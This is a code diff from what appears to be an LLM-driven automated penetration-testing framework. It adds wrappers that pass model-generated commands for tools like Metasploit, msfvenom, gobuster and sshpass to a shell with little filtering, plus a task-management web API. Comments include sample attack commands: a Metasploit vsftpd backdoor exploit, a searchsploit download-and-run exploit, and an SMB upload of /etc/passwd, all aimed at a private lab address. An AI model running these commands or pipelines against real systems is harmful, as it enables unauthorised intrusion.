#指令结果分析
return result

30
tools/GobusterTool.py

@ -1,4 +1,6 @@
import re import re
import os
from collections import Counter
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
class GobusterTool(ToolBase): class GobusterTool(ToolBase):
@ -23,18 +25,40 @@ class GobusterTool(ToolBase):
# if re.search(wordlist_pattern, instruction): # if re.search(wordlist_pattern, instruction):
# instruction = re.sub(wordlist_pattern, lambda m: m.group(0).replace('-medium.txt', '-small.txt'), # instruction = re.sub(wordlist_pattern, lambda m: m.group(0).replace('-medium.txt', '-small.txt'),
# instruction) # instruction)
timeout = 0 timeout = 60*15
if "-q" not in instruction: if "-q" not in instruction:
instruction += ' -q' instruction += ' -q'
return instruction,timeout return instruction,timeout
def is_false_result(self,output,wordlist_path):
#输出结果的行数
discovered = [line for line in output.splitlines() if line]
#字典个数
with open(wordlist_path, "r") as f:
wordlist_count = sum(1 for line in f if line.strip())
if wordlist_count and len(discovered) >= int(0.1 * wordlist_count):
return False, "字典项中绝大部分路径都匹配成功,应该是应用端做了防护处理"
return True, output
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 -q后对结果进行提取 #指令结果分析 -q后对结果进行提取
pattern = re.compile(r'-w\s+(\S+)')
match = pattern.search(instruction)
if match:
wordlist_path = match.group(1) #匹配字典路径
else:
return ("failure", "No wordlist path found in the command string")
#重新生成个结果,400-5个,401-5个,200所有,其他还不知道有什么结果所有 #重新生成个结果,400-5个,401-5个,200所有,其他还不知道有什么结果所有
if stdout:
bok,result = self.is_false_result(stdout,wordlist_path)
if not bok:
return result
#结果基本合规,再做过滤
result = "" result = ""
i_400 = 0 i_400 = 0
i_401 = 0 i_401 = 0
lines = stdout.splitlines() lines = [line for line in stdout.splitlines() if line]
for line in lines: for line in lines:
if line: if line:
badd = False badd = False
@ -53,6 +77,8 @@ class GobusterTool(ToolBase):
if badd: if badd:
result +='\n' result +='\n'
result += line result += line
else:
return ""
return result return result
if __name__ == '__main__': if __name__ == '__main__':

11
tools/MedusaTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class MedusaTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

8
tools/MsfconsoleTool.py

@ -9,8 +9,8 @@ class MsfconsoleTool(ToolBase):
''' '''
Metasploit 这样的交互工具保持一个会话析构时结束会话 Metasploit 这样的交互工具保持一个会话析构时结束会话
''' '''
def __init__(self,TM): def __init__(self):
super().__init__(TM) super().__init__()
self.bOK = False self.bOK = False
self.msf_lock = threading.Lock() # 线程锁 self.msf_lock = threading.Lock() # 线程锁
@ -25,10 +25,10 @@ class MsfconsoleTool(ToolBase):
#针对有分号的指令情况,一般是一行 #针对有分号的指令情况,一般是一行
if ";" in instruction: #举例:msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.204.137; exploit" if ";" in instruction: #举例:msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.204.137; exploit"
# 正则表达式匹配双引号内的内容 # 正则表达式匹配双引号内的内容
pattern = r'"([^"]*)"' pattern = r'(["\'])(.*?)\1'
match = re.search(pattern, instruction) match = re.search(pattern, instruction)
if match: if match:
modified_code = match.group(1) modified_code = match.group(2)
#统一把单行,换成多行内容 #统一把单行,换成多行内容
modified_code = modified_code.replace(";", "\n") modified_code = modified_code.replace(";", "\n")
print(modified_code) print(modified_code)

76
tools/MsfvenomTool.py

@ -0,0 +1,76 @@
from tools.ToolBase import ToolBase
import os
import shlex
import subprocess
import tempfile
class MsfvenomTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
if timeout ==0:
result = subprocess.run(script_cmd, shell=True, text=True)
else:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

2
tools/NmapTool.py

@ -9,6 +9,8 @@ class NmapTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#nmap过滤 #nmap过滤
timeout = 0 timeout = 0
if "&& nc " in instruction or "&& ftp " in instruction:
timeout = 60
return instruction,timeout return instruction,timeout
def parse_nmap_output(self,nmap_output: str) -> Dict[str, Any]: def parse_nmap_output(self,nmap_output: str) -> Dict[str, Any]:

75
tools/OtherTool.py

@ -0,0 +1,75 @@
from tools.ToolBase import ToolBase
import re
import os
import shlex
import subprocess
import tempfile
class OtherTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*2
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

11
tools/PingTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class PingTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

66
tools/PsqlTool.py

@ -1,6 +1,5 @@
import subprocess import pexpect
import tempfile import shlex
import os
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
class PsqlTool(ToolBase): class PsqlTool(ToolBase):
@ -13,42 +12,32 @@ class PsqlTool(ToolBase):
#指令结果分析 #指令结果分析
return result return result
def do_worker_script(self,str_instruction,timeout,ext_params): def do_worker_pexpect(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 构建并执行 script 命令
script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try: try:
os.remove(output_file) safe_command = shlex.quote(str_instruction)
except FileNotFoundError: cmd = f"bash -c {safe_command}"
pass # 文件可能未创建 exc_do = pexpect.spawn(cmd,timeout=timeout,encoding='utf-8')
return output index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF,
'Password for user postgres:',
'用户 postgres 的口令:'
])
#strout = exc_do.before.decode('utf-8', errors='replace')
strout = exc_do.before
if index == 0 or index ==1:
return strout
elif index ==2 or index==3:
strout += '用户 postgres 的口令:'
exc_do.sendline('') #输入空密码后不知道会有多少种情况,密码不对,密码对
index = exc_do.expect([pexpect.TIMEOUT,pexpect.EOF])
print(index)
strout += exc_do.before
return strout
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction1(self, instruction_old): def execute_instruction(self, instruction_old):
''' '''
执行指令验证合法性 -> 执行 -> 分析结果 执行指令验证合法性 -> 执行 -> 分析结果
*****如果指令要做验证只做白名单所有逻辑不是全放开就是白名单***** *****如果指令要做验证只做白名单所有逻辑不是全放开就是白名单*****
@ -70,7 +59,8 @@ class PsqlTool(ToolBase):
#过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? #过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令 # 第二步:执行指令
output = self.do_worker_script(instruction,timeout,ext_params) #output = self.do_worker_script(instruction, timeout, ext_params)
output = self.do_worker_pexpect(instruction,timeout,ext_params)
# 第三步:分析执行结果 # 第三步:分析执行结果
if isinstance(output,bytes):#若是bytes则转成str if isinstance(output,bytes):#若是bytes则转成str

153
tools/PythoncodeTool.py

@ -1,153 +0,0 @@
#python代码动态执行
import ast
import subprocess
import json
import builtins
import re
import paramiko
import impacket
import psycopg2
import socket
import struct
import sys
import requests
import ssl
import mysql.connector
from tools.ToolBase import ToolBase
from mycode.Result_merge import my_merge
class PythoncodeTool(ToolBase):
def is_safe_code(self,code):
# List of high-risk functions to block (can be adjusted based on requirements)
HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
"""Check if the code contains high-risk function calls."""
try:
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Call):
if isinstance(node.func, ast.Name) and node.func.id in HIGH_RISK_FUNCTIONS:
return False
elif isinstance(node.func, ast.Attribute) and node.func.attr in HIGH_RISK_FUNCTIONS:
return False
return True
except SyntaxError:
return False
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
instr = instruction.replace("python_code ","")
instr = instruction.replace("python-code ", "")
# Safety check
if not self.is_safe_code(instr):
return "", timeout
return instr,timeout
def safe_import(self,name,*args,**kwargs):
ALLOWED_MODULES = ['subprocess', 'json','re']
if name not in ALLOWED_MODULES:
raise ImportError(f"Import of '{name}' is not allowed")
return builtins.__import__(name, *args, **kwargs)
def execute_instruction(self, instruction_old):
'''
执行指令验证合法性 -> 执行 -> 分析结果
:param instruction_old:
:return:
bool:true-正常返回给大模型false-结果不返回给大模型
str:执行的指令
str:执行指令的结果
'''
ext_params = self.create_extparams()
# 定义允许的内置函数集合 --白名单
allowed_builtins = {
'__name__': __name__,
'__import__': builtins.__import__,
"abs": abs,
"all": all,
"any": any,
"bool": bool,
"chr": chr,
"dict": dict,
"float": float,
"int": int,
"len": len,
"list": list,
"max": max,
"min": min,
"print": print,
"range": range,
"set": set,
"str": str,
"sum": sum,
"type": type,
'open':open,
'Exception':Exception,
# 根据需要可以添加其他安全的内置函数
}
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令
output = ""
try:
# 构造安全的全局命名空间,只包含我们允许的 __builtins__
# 虽然动态代码中包含了import subprocess,但是还是需要在全局命名空间中添加subprocess这些库
# 正常情况应该是不需要的,后续再研究
safe_globals = {"__builtins__": allowed_builtins,
'subprocess':subprocess,
'json':json,
're':re,
'paramiko':paramiko,
'impacket':impacket,
'psycopg2':psycopg2,
'socket':socket,
'mysql':mysql,
'mysql.connector':mysql.connector,
'struct':struct,
'sys':sys,
'requests':requests,
'ssl':ssl}
safe_locals = {} #不需要预设局部参数
# 在限制环境中执行代码
exec(instruction, safe_globals,safe_locals)
# Check if check_samba_vuln is defined
if 'dynamic_fun' not in safe_locals:
analysis = "Function dynamic_fun() is not defined"
ext_params['is_use'] = True
return True,instruction,analysis,analysis,ext_params
# Get the function and call it
dynamic_fun = safe_locals['dynamic_fun']
status, tmpout = dynamic_fun() #LLM存在status定义错误的情况(执行成功,却返回的是False) #重点要处理
output = f"status:{status},output:{tmpout}"
except Exception as e:
analysis = f"执行动态代码时出错: {str(e)}"
ext_params['is_use'] = True
return True,instruction,analysis,analysis,ext_params
# 第三步:分析执行结果
analysis = self.analyze_result(output, instruction,"","")
# 指令和结果入数据库
# ?
if not analysis: # analysis为“” 不提交LLM
return False, instruction, analysis,"",ext_params
return True, instruction, analysis,"",ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 --- 要不要限定一个max_len?
if "enum4linux " in instruction: #存在指令包装成Python代码返回的情况
result = my_merge("enum4linux",result)
return result
if __name__ == "__main__":
llm_code = """
def run_test():
return 'Penetration test executed successfully!'
"""

11
tools/RpcclientTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class RpcclientTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

11
tools/RpcinfoTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class RpcinfoTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

28
tools/SearchsploitTool.py

@ -7,10 +7,33 @@ import shutil
from pathlib import Path from pathlib import Path
class SearchsploitTool(ToolBase): class SearchsploitTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
# 获取当前路径
cur_path = Path(__file__).resolve().parent
payload_dir = cur_path / "../payload"
#指令过滤 #指令过滤
timeout = 0 timeout = 0
parts = instruction.split("&&")
if len(parts) ==2:
searchsploit_cmd = parts[0].strip()
python_cmd = parts[1].strip()
# 提取 -m 后面的文件名
tokens = searchsploit_cmd.split()
if "-m" in tokens:
m_index = tokens.index("-m")
if m_index + 1 < len(tokens):
filename = tokens[m_index + 1]
else:
return instruction,timeout # -m 后面没有东西,直接返回
else:
return instruction,timeout # 没有-m选项,直接返回
if self.find_file_in_directory(filename,payload_dir):
return python_cmd,timeout
else:
timeout = 60*2
return instruction,timeout
else:
if "-m " in instruction: # 下载利用代码 if "-m " in instruction: # 下载利用代码
timeout = 60 timeout = 60*2
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
@ -31,6 +54,9 @@ class SearchsploitTool(ToolBase):
result = "下载完成" result = "下载完成"
else: else:
result = "下载失败" result = "下载失败"
elif instruction.startswith("python"):
#针对searchsploit -m 42745.py && python3 42745.py -u http://192.168.204.137 这样的情况searchsploit会先执行掉,剩余python代码
return result
else: #目前只遇到两种searchsploit命令格式: else: #目前只遇到两种searchsploit命令格式:
lines = clean_result.split("\n") lines = clean_result.split("\n")
exploits = [] exploits = []

3
tools/SmbclientTool.py

@ -1,9 +1,12 @@
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
import shlex
class SmbclientTool(ToolBase): class SmbclientTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 0
instruction = instruction.replace("\\", "\\\\")
#instruction = shlex.quote(instruction) #smbclient \\\\192.168.204.137\\tmp -N -c 'put /etc/passwd test_upload; rm test_upload' 针对这样的指令会出错
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):

13
tools/SmbmapTool.py

@ -0,0 +1,13 @@
from tools.ToolBase import ToolBase
class SmbmapTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
if " grep " not in instruction:
instruction =instruction.strip() + " | grep -E 'READ|WRITE|Disk|path'"
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

77
tools/SshpassTool.py

@ -0,0 +1,77 @@
from tools.ToolBase import ToolBase
import os
import shlex
import subprocess
import tempfile
class SshpassTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
if timeout ==0:
result = subprocess.run(script_cmd, shell=True, text=True)
else:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

73
tools/TcpdumpTool.py

@ -0,0 +1,73 @@
from tools.ToolBase import ToolBase
import os
import shlex
import subprocess
import tempfile
class TcpdumpTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*2
return instruction,timeout
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 使用 shlex.quote 对 str_instruction 进行安全包装,确保整个命令作为一个参数传递
safe_instr = shlex.quote(str_instruction.strip())
# 构建 script 命令
# 注意:此时 safe_instr 包含单引号,确保整个 -c 参数不被拆分
script_cmd = f"script -q -c {safe_instr} {output_file}"
# 选项 -q 表示静默(quiet),减少不必要的输出
# # 构建并执行 script 命令
# script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction1(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

4
tools/TelnetTool.py

@ -12,7 +12,7 @@ from tools.ToolBase import ToolBase
class TelnetTool(ToolBase): class TelnetTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 60
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
@ -103,12 +103,12 @@ class TelnetTool(ToolBase):
ext_params["is_user"] = True ext_params["is_user"] = True
return True,instruction,output,output,ext_params return True,instruction,output,output,ext_params
host = parts[1] host = parts[1]
port = 0
try: try:
port = int(parts[2]) port = int(parts[2])
except ValueError: except ValueError:
output = "端口转换失败" output = "端口转换失败"
ext_params["is_user"] = True ext_params["is_user"] = True
return True, instruction, output, output, ext_params
if port == 25: if port == 25:
output = self.smtp_injection_test(instruction,host,port) output = self.smtp_injection_test(instruction,host,port)
else:#其他默认subprocess执行 else:#其他默认subprocess执行

75
tools/ToolBase.py

@ -10,15 +10,14 @@ import abc
import subprocess import subprocess
import argparse import argparse
import shlex import shlex
import sys import subprocess
import tempfile
import os
from myutils.ReturnParams import ReturnParams from myutils.ReturnParams import ReturnParams
class ToolBase(abc.ABC): class ToolBase(abc.ABC):
def __init__(self,TM): def get_time_out(self):
#self.res_type = 0 #补充一个结果类型 0-初始状态,1-有安全问题, return 60*30
#由于工具类会被多个线程调用,全局变量不能修改,只能读取
self.TM = TM
def create_extparams(self): def create_extparams(self):
ext_params = ReturnParams() ext_params = ReturnParams()
@ -46,6 +45,9 @@ class ToolBase(abc.ABC):
""" """
if command.strip().startswith("mkdir"): if command.strip().startswith("mkdir"):
return "" return ""
#额外指令排除:ssh -o 不是输出结果到文件
if "ssh" in command:
return ""
if valid_flags is None: if valid_flags is None:
valid_flags = ['-o', '-oN', '-oG', '-output'] valid_flags = ['-o', '-oN', '-oG', '-output']
@ -87,6 +89,41 @@ class ToolBase(abc.ABC):
print(f"错误: 无权限读取文件 {filename}") print(f"错误: 无权限读取文件 {filename}")
return content return content
def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出
with tempfile.NamedTemporaryFile(delete=False) as tmpfile:
output_file = tmpfile.name
# 构建并执行 script 命令
script_cmd = f"script -c '{str_instruction}' {output_file}"
try:
result = subprocess.run(script_cmd, shell=True, text=True,timeout=timeout)
# 读取输出文件内容
with open(output_file, 'r') as f:
output = f.read()
lines = output.splitlines()
# 跳过第一行(Script started)和最后一行(Script done)
ftp_output = lines[1:-1]
output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired:
output = "命令超时返回"
try:
with open(output_file, 'r') as f:
partial_output = f.read()
if partial_output:
output += f"\n部分输出:\n{partial_output}"
except FileNotFoundError:
pass # 文件可能未创建
except subprocess.CalledProcessError as e:
output = f"错误: {e}"
finally:
# 删除临时文件
try:
os.remove(output_file)
except FileNotFoundError:
pass # 文件可能未创建
return output
def execute_instruction(self, instruction_old): def execute_instruction(self, instruction_old):
''' '''
执行指令验证合法性 -> 执行 -> 分析结果 执行指令验证合法性 -> 执行 -> 分析结果
@ -130,28 +167,32 @@ class ToolBase(abc.ABC):
else: else:
stderr = result.stderr stderr = result.stderr
stdout = result.stdout stdout = result.stdout
except subprocess.TimeoutExpired as e:
stdout = e.stdout if e.stdout is not None else ""
stderr = e.stderr if e.stderr is not None else ""
ext_params.is_user = True #对于超时的也需要人工进行确认,是否是预期的超时
except Exception as e:
ext_params.is_user = True
return False,instruction,f"执行失败:{str(e)}","",ext_params #执行失败,提交给人工确认指令的正确性
# 第三步:分析执行结果 # 第三步:分析执行结果
# if result.returncode == 0: # 执行正确
# output = stdout
if stdout:
output = stdout output = stdout
if stderr: else:
output += stderr if result.returncode ==28: #curl 命令超时
output = "指令执行超时!"
else: #执行错误只拿错误信息
output = stderr
if isinstance(output, bytes): # 若是bytes则转成str if isinstance(output, bytes): # 若是bytes则转成str
output = output.decode('utf-8', errors='ignore') output = output.decode('utf-8', errors='ignore')
analysis = self.analyze_result(output, instruction, stderr, stdout) analysis = self.analyze_result(output, instruction, stderr, stdout)
if not analysis: # analysis为“” 不提交LLM if not analysis: # analysis为“” 不提交LLM
ext_params.is_user = True ext_params.is_user = True
#return False,instruction,analysis,output,ext_params -- 单节点后都要提交结果
return True, instruction, analysis, output, ext_params return True, instruction, analysis, output, ext_params
except subprocess.TimeoutExpired:
ext_params.is_user = True #对于超时的也需要人工进行确认,是否是预期的超时
return False, instruction, f"执行超时:{str(timeout)}", "", ext_params # 执行失败,提交给人工确认指令的正确性
except Exception as e:
ext_params.is_user = True
return False,instruction,f"执行失败:{str(e)}","",ext_params #执行失败,提交给人工确认指令的正确性
@abc.abstractmethod @abc.abstractmethod
def validate_instruction(self, instruction:str): def validate_instruction(self, instruction:str):
"""指令合法性分析 """指令合法性分析

11
tools/XvfbrunTool.py

@ -0,0 +1,11 @@
from tools.ToolBase import ToolBase
class XvfbrunTool(ToolBase):
def validate_instruction(self, instruction):
#指令过滤
timeout = 0
return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析
return result

2
web/API/__init__.py

@ -1,4 +1,4 @@
from quart import Blueprint from quart import Blueprint
#定义模块 #定义模块
api = Blueprint('api',__name__) api = Blueprint('api',__name__)
from . import user from . import user,task,wsm,system

23
web/API/system.py

@ -0,0 +1,23 @@
from . import api
from mycode.DBManager import app_DBM
from myutils.ReManager import mReM
from quart import Quart, render_template, redirect, url_for, request,jsonify
@api.route('/system/getinfo',methods=['GET'])
async def get_system_info():
data = app_DBM.getsystem_info()
return jsonify({"local_ip":data[0],"version":data[1]})
@api.route('/system/updateip',methods=['POST'])
async def update_local_ip():
data = await request.get_json()
local_ip = data.get("local_ip")
if mReM.is_valid_ip(local_ip):
bsuccess = app_DBM.update_localip(local_ip)
error = ""
if not bsuccess:
error = "修改IP地址失败!"
else:
bsuccess = False
error = "IP不合法"
return jsonify({"bsuccess":bsuccess,"error":error})

245
web/API/task.py

@ -0,0 +1,245 @@
from . import api
from quart import Quart, render_template, redirect, url_for, request,jsonify
from mycode.TargetManager import g_TM
from mycode.DBManager import app_DBM
from mycode.TaskManager import g_TaskM
def is_valid_target(test_target: str) -> bool:
"""
验证 test_target 的逻辑这里用简单示例代替已有逻辑
例如测试目标不能为空且长度大于3
"""
if test_target:
return True
return False
@api.route('/task/start',methods=['POST'])
async def start_task(): #开始任务
data = await request.get_json()
test_target = data.get("testTarget")
cookie_info = data.get("cookieInfo")
llm_type = data.get("curmodel") # //0-腾讯云,1-DS,2-2233.ai,3-GPT 目前只有1-2,2025-4-4
work_type = data.get("workType") #0-人工,1-自动
#新增任务处理
bok,_,_ = g_TM.validate_and_extract(test_target)
if not bok:
# 返回错误信息,状态码 400 表示请求错误
return jsonify({"error": "测试目标验证失败,请检查输入内容!"}), 400
#开始任务
try:
b_success = g_TaskM.create_task(test_target,cookie_info,llm_type,work_type)
#再启动
if not b_success:
return jsonify({"error": "检测任务创建失败,请联系管理员!"}), 500
except:
return jsonify({"error": "该目标已经在测试中,请检查!"}), 400
#跳转到任务管理页面
return redirect(url_for('main.get_html', html='task_manager.html'))
@api.route('/task/taskover',methods=['POST'])
async def over_task():
data = await request.get_json()
task_id = data.get("cur_task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
bsuccess,error = g_TaskM.over_task(task_id)
return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/deltask',methods=['POST'])
async def del_task():
data = await request.get_json()
task_id = data.get("task_id")
if not task_id:
return jsonify({'error': 'Missing task_id'}), 400
bsuccess,error = g_TaskM.del_task(task_id)
return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/getlist',methods=['GET'])
async def get_task_list():
#task_list = app_DBM.get_task_list() #从内存取--2025-4-6
